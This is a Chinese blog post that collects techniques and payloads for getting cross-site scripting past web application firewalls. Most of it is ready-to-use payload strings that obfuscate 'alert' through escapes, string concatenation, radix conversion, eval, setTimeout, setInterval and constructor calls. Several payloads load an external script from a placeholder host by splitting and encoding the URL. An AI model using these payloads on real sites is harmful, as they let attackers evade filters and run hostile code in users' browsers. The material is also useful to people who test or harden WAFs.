最近出现了很多拜帕斯的文章,好像什么被点燃了,作为一个浮躁的热血菜逼青年。
类似这样的标签还有一些,对于WAF来说,要考虑在数据清洗过程中资源的消耗,业务方面问题,造成的一某方面的漏洞,我们从架构
规则缺陷/特性
协议
这三方面去思考,可能找到Bypass的方法。
(上图引用自ZP讲师视频
)
控制台中输入
类似的属性还有好几个
payload:
<details open ontoggle=top['al'%2B'ert'](1) > <details open ontoggle=self['al'%2B'ert'](1) > <details open ontoggle=parent['al'%2B'ert'](1) > <details open ontoggle=frames['al'%2B'ert'](1) > <details open ontoggle=content['al'%2B'ert'](1) > <details open ontoggle=window['al'%2B'ert'](1) >
总结起来有 top self parent frames content window,无疑top是最短的。
一般我们把payload进行编码 ,或者敏感部分进行编码可以达到绕过WAF的作用
payload:
JS8编码: <details open ontoggle=top['al\145rt'](1) > <details open ontoggle=top['\141\154\145\162\164'](1) > JS16编码: <details open ontoggle=top['al\x65rt'](1) > 其他 <details open ontoggle=top[/al/.source%2B/ert/.source](1) >
parseInt()
例子: alert
字符串用parseInt
函数,以基数为30
转化后为8680439
toString()
例子: toString
函数将返回的数字8680439
,以基数为30
还原
这样你就能理解下面这个例子了。
<details open ontoggle=top[8680439..toString(30)](1); > <details open ontoggle=top[11189117..toString(32)](1); >
2个payload很久就有了,但是思路可以学习,我第一次看到时,感觉很兴奋,可能还是太年轻了。
<img src=1 alt=al lang=ert onerror=top[alt%2blang](0)>
这个例子很巧妙,将alt和lang属性分别赋值合并起来就是alert,并在top属性内将2个属性相加。
<details open ontoggle=top[a='al',b='ev',b%2ba]('alert(1)')>
在top属性内添加2个变量,并赋值构造eval,然后执行alert(1)
测试下,拦截了。
其实waf拦截的是alert这个关键字,换个prompt
函数就过了。
也可以选择将alert(1)
编码,因为有eval
存在啊,直接拿来用
<details open ontoggle=top[a='al',b='ev',b%2ba](atob('YWxlcnQoMSk='))> <details open ontoggle=top[a='al',b='ev',b%2ba]('\141\154\145\162\164\50\61\51')> <details open ontoggle=top[a='al',b='ev',b%2ba]('\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029')>
setTimeout()函数也是没问题的,毕竟也能执行代码。
<details open ontoggle=top[a='meout',b='setTi',b%2ba]('\141\154\145\162\164\50\61\51')>
为啥叫这个名字呢,现在想想好傻,大概想表达的是和这个alert
差不多的效果(╯▽╰)╭
setTimeout
<svg/onload=setTimeout`alert\u0028233\u0029`>
setInterval
与setInterval
不同,对于setTimeout
只执行code一次。
<svg/onload=setInterval('al'%2b'ert(1)')>
绕过waf,引用外部js。
<svg/onload=setInterval(appendChild(createElement('script')).src='http://xx.xx/eeW')>
拆分与编码 <svg/onload=\u0073etInterval(appendChild(createElement('script')).src='http://xx.xx/eeW')> <svg/onload=\u0073etInterval(appendChild(createElement('sc\162ipt')).src='http://xx.xx/eeW')> <svg/onload=\u0073etInterval(appendChild(createElement('scr'%2b'ipt')).src='http://xx.xx/eeW')> <svg/onload=\u0073etInterval(\u0061ppendChild(\u0063reateElement('scr'%2b'ipt')).src='http://xx.xx/eeW')> 结合函数: <iframe onload=s=createElement('script');body.appendChild(s);s.src=['http','://','xx.xx','/eeW'].join('') > <svg/onload=s=createElement('script');body.appendChild(s);s.src=['http']%2B['://']%2B['xx.xx']%2B['/eeW'].join('') > <svg/onload=s=\u0063reateElement('scr'%2b'ipt');\u0062ody.\u0061ppendChild(s);s.src='http://x'.concat('x.xx/','eeW'); >
<svg/onload=Set.constructor('al'%2b'ert(1)')()>
payload:
<svg/onload=Set.constructor(appendChild(createElement('script')).src='http://xx.xx/eeW')()> <svg/onload=Set.constructor`al\x65rt\x28/xss/\x29```> <svg/onload=Map.constructor`al\x65rt\x28/xss/\x29```> <svg/onload=clear.constructor`al\x65rt\x28/xss/\x29```> <svg/onload=Array.constructor`al\x65rt\x28/xss/\x29```> <svg/onload=WeakSet.constructor`al\x65rt\x28/xss/\x29```>
测试WAF是几个月前的,所以有些可能会失效,以前刚开始学习web时,觉得xss就是弹个框,好无聊。直到自己决定写一点点总结关于xss的时候,在学习的过程,每当自己构造抄袭的payload弹框时,都很兴奋,很满足,对着电脑傻笑,我想这就是我想要的ლ(•̀ _ •́ ლ)